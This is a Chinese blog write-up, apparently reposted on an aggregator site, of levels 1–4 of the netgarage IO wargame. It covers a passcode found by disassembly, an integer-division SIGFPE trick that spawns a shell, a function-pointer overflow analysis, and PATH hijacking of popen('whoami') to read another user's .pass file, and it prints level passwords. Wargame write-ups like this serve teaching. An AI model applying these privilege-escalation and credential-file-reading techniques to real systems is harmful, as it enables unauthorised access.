netgarage攻略 -- level1~1evel4
来源:互联网 发布:天刀妖娆御姐捏脸数据 编辑:程序博客网 时间:2024/04/28 14:26
netgarage攻略 – level1~1evel4
- netgarage攻略 level11evel4
- 介绍
- level1
- 现在的版本
- 以前的版本
- level2
- level3
- level4
介绍
netgarage(原来是smashthestack,一段时间没上连网站也改名了)是个IO wargame,关键是要通过一些方式来利用漏洞获取运行程序的控制权,然后你就可以让它做任何事了。(有点不好就是挂机长就会没反应,要重新登录)
例如你可以通过它来获得一个shell。
- 各关关卡 都包含在目录 /levels 下
- 密码都放在每关的 /home/levelx 目录下的一个叫.pass的文件
例如 /home/level2/.pass 包含了进入level2关卡的密码 - 聊天室:
在我们irc网络里,聊天室的名字叫irc.netgarage.org,用ssl连接6697端口即可
你也可以用webclient来连接http://www.netgarage.org/cgiirc/ - 论坛:
论坛的网站地址 http://forum.netgarage.org/
使用聊天室将能更快更好地帮助你 - ASLR(Address space layout randomization)已经关闭,大部分关卡都有一个可执行堆栈区(使溢出攻击能成功进行)
因为用到SSH,所以要先安装后才能登录去玩。
每一关,我们可以通过各种知识,获得密码进入下一关,同时在/home/levelx/tags留下足迹 level1@io:~$echo "bottomheater" >> tags
可以写各种各样的,最终会在显示。
不过注意,如果一段时间没有输入的话,终端会自动关闭连接。
level1
现在的网站为io.netgarage.org,原来玩的时候还是io.smashthestack.org
现在的版本
连接netgarage ssh level1@io.netgarage.org
初次登录需要认证
The authenticity of host ‘io.netgarage.org (138.201.80.190)’ can’t be established.
ECDSA key fingerprint is 2b:f6:34:67:0c:21:82:e5:a8:4f:34:3b:cc:82:3a:13.
Are you sure you want to continue connecting (yes/no)? y
Please type ‘yes’ or ‘no’: yes
在输入密码level1,即可登录成功
level1@io:~$
现在就要获取level2的密码
提示在/levels/level01 level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter:
需要三位数的密码
毫无头绪,试着看回源程序的汇编。用gdb反汇编 level1@io:/levels$ gdb level01
(gdb) disas main
Dump of assembler code for function main:
0x08048080 <+0>: push0x80491280x08048085<+5>:call0x804810f0x0804808a<+10>:call0x804809f0x0804808f<+15>:cmp 0x10f,%eax
0x08048094 <+20>: je 0x80480dc
0x0804809a <+26>: call 0x8048103
发现有0x0804808f <+15>: cmp $0x10f,%eax,将0x10f和输入比较,很明显0x10f就是密码,将其转为10进制就是271。
level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter: 271
Congrats you found it, now read the password for level2 from /home/level2/.pass
sh-4.3$
成功获取控制权,查看下一关level2的密码 sh-4.3$ cd /home/
sh-4.3$ cd level2
sh-4.3$ cat .pass
XNWFtWKWHhaaXoKI
这就是密码,每台机子都不一样的,就算一段时间没上还是能用回原来的(不然我也不会po上来==)
以前的版本
以前尝试的过程 ssh level1@io.smashthestack.org level1
显示
The authenticity of host ‘io.smashthestack.org (176.9.4.153)’ can’t be established.
RSA key fingerprint is f6:15:58:14:fe:ea:7b:dc:11:b6:d4:69:03:9c:61:e9.
Are you sure you want to continue connecting (yes/no)?
Host key verification failed.
cat /home/wang/.ssh/known_hosts
没有记录
ssh -o StrictHostKeyChecking=no level1@io.smashthestack.org level1
显示 Welcome at IO!
不过还有问题
(passwords were recently rotated)
按道理直接就是level1,不过就是不行(机子问题?)。
换个方法,试着再登录 ssh -l level1 io.smashthestack.org -p2224
这回输入level1作密码就行了。(其他关卡也是这样流程)
鉴于网速一卡一卡的,先下载到本地研究 scp level1@io.smashthestack.org:../../../levels/level1 level1
level2
登录 ssh level2@io.netgarage.org
先运行/levels/level02
source code is available in level02.c
提示查看源代码 cat /levels/level02.c
可以看到两个函数catchar和main
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf(“WIN!\n”);
system(“/bin/sh”);
exit(0);
}int main(int argc, char **argv)
{
puts(“source code is available in level02.c\n”);if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}
分析可知,main需要输入3个参数,其中第一个参数就是可执行文件名,而第三个必须是非0整数,不然会退出。同时必须调用sh执行的话,就必须调用catcher。根据signal(SIGFPE, catcher);,也就是必须产生SIGFPE信号才行,查阅后得知可以通过浮点溢出产生,而-2147483648是32位操作系统中最小的符号型整型常量。
level2@io:/levels$ ./level02 -2147483648 -1
source code is available in level02.c
WIN!
sh-4.2$ id
uid=1003(level3) gid=1002(level2) groups=1003(level3),1002(level2),1029(nosu)
sh-4.2$ cat /home/level3/.pass
OlhCmdZKbuzqngfz
level3
运行/levels/level03
毫无反应,那就看源代码
cat level03.c
void good()
{
puts(“Win.”);
execl(“/bin/sh”, “sh”, NULL);
}
void bad()
{
printf(“I’m so sorry, you’re at %p and you want to be at %p\n”, bad, good);
}int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];if(argc != 2 || strlen(argv[1]) < 4)
return 0;memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);printf(“This is exciting we’re going to %p\n”, functionpointer);
functionpointer();return 0;
}
分析出目的是通过good调用shell,而在题目中functionpointer=bad,只是调用了bad,所以应该改写这个指针,很明显应该是用memcpy覆盖的,将argv[1]的数据覆盖buffer,并且溢出覆盖至functionpointer,这是就需要找出bad在内存栈中的函数指针的地址。
同时第二个参数要长于4。
先带参运行 /levels/level03 aaaa
This is exciting we’re going to 0x80484a4
I’m so sorry, you’re at 0x80484a4 and you want to be at 0x8048474
看起来0x80484a4和0x8048474是关键。 level3@io:~$ gdb /levels/level03
(gdb) disas main
0x0804852b <+99>: call 0x804838c
level4
运行 level4@io:/tmp$ /levels/level04
Welcome level5
试着gdb也看不出什么,看回源码
int main() {
char username[1024];
FILE* f = popen(“whoami”,”r”);
fgets(username, sizeof(username), f);
printf(“Welcome %s”, username);
return 0;
}
popen()函数通过创建一个管道,调用fork()产生一个子进程,执行一个shell以运行命令来开启一个进程。popen执行whoami,要想获得shell,就只能伪装whoami这程序来获取。由于poepn会执行命令,只要让其执行cat /home/level5/.pass,就可以将username改为密码并显示出来。
在/tmp下新建whoami level4@io:/levels$ cd /tmp
level4@io:/levels$ mkdir foo/
level4@io:/levels$ cd foo
插入cat level4@io:/tmp$ echo "cat /home/level5/.pass" > /tmp/foo/whoami
使其可执行 level4@io:/levels$ chmod +x /tmp/level04/whoami
添加到原来的whoami的执行路径前 level4@io:/levels$ export PATH="/tmp/foo:$PATH"
level4@io:/levels$ echo $PATH
再次执行 level4@io:/tmp/fooo$ /levels/level04
Welcome DNLM3Vu0mZfX0pDd
get!
- netgarage攻略 -- level1~1evel4
- hackthissite(Basic missions level1-10)攻略
- [pythonchallenge]level1
- LEVEL1简体
- python challenge level1
- pythonchallenge level1--python2.7
- 【python challenge】Level1
- 小白学python level1
- [Bug]ArcGIS10.1 for Desktop为SDE栅格数据集创建金字塔只能创建level1的问题
- topcoder SRM 501 div1 level1
- CUDA cuBLAS Level1函数介绍
- C语言阶乘level1.0
- topcoder SRM500 DIV1 LEVEL1 250分题
- 玩玩CUBLAS(2)——level1函数
- level1比level2多了一个last
- Learn Vim Progressively——level1&level2
- widevine level1测试视频的生成方法
- 2017-09-11 LEVEL1考试情况总结
- POJ 3421 X-factor Chains (整数分解+组合数)
- 【Qt】标准int类型输入对话框
- 不规则多边形区域的面积计算算法
- ACM天梯赛 L3-001. 凑零钱
- 一点想法
- netgarage攻略 -- level1~1evel4
- 二叉树中和为某一值的路径
- 栅栏效应和时域补零
- Developer Guides——AsyncTask
- 设计模式之工厂方法模式
- 一个测试工程师面试结束后想说的
- JavaScript 对象学习笔记(中)
- 一个简单的最大流算法
- LeetCode刷题笔记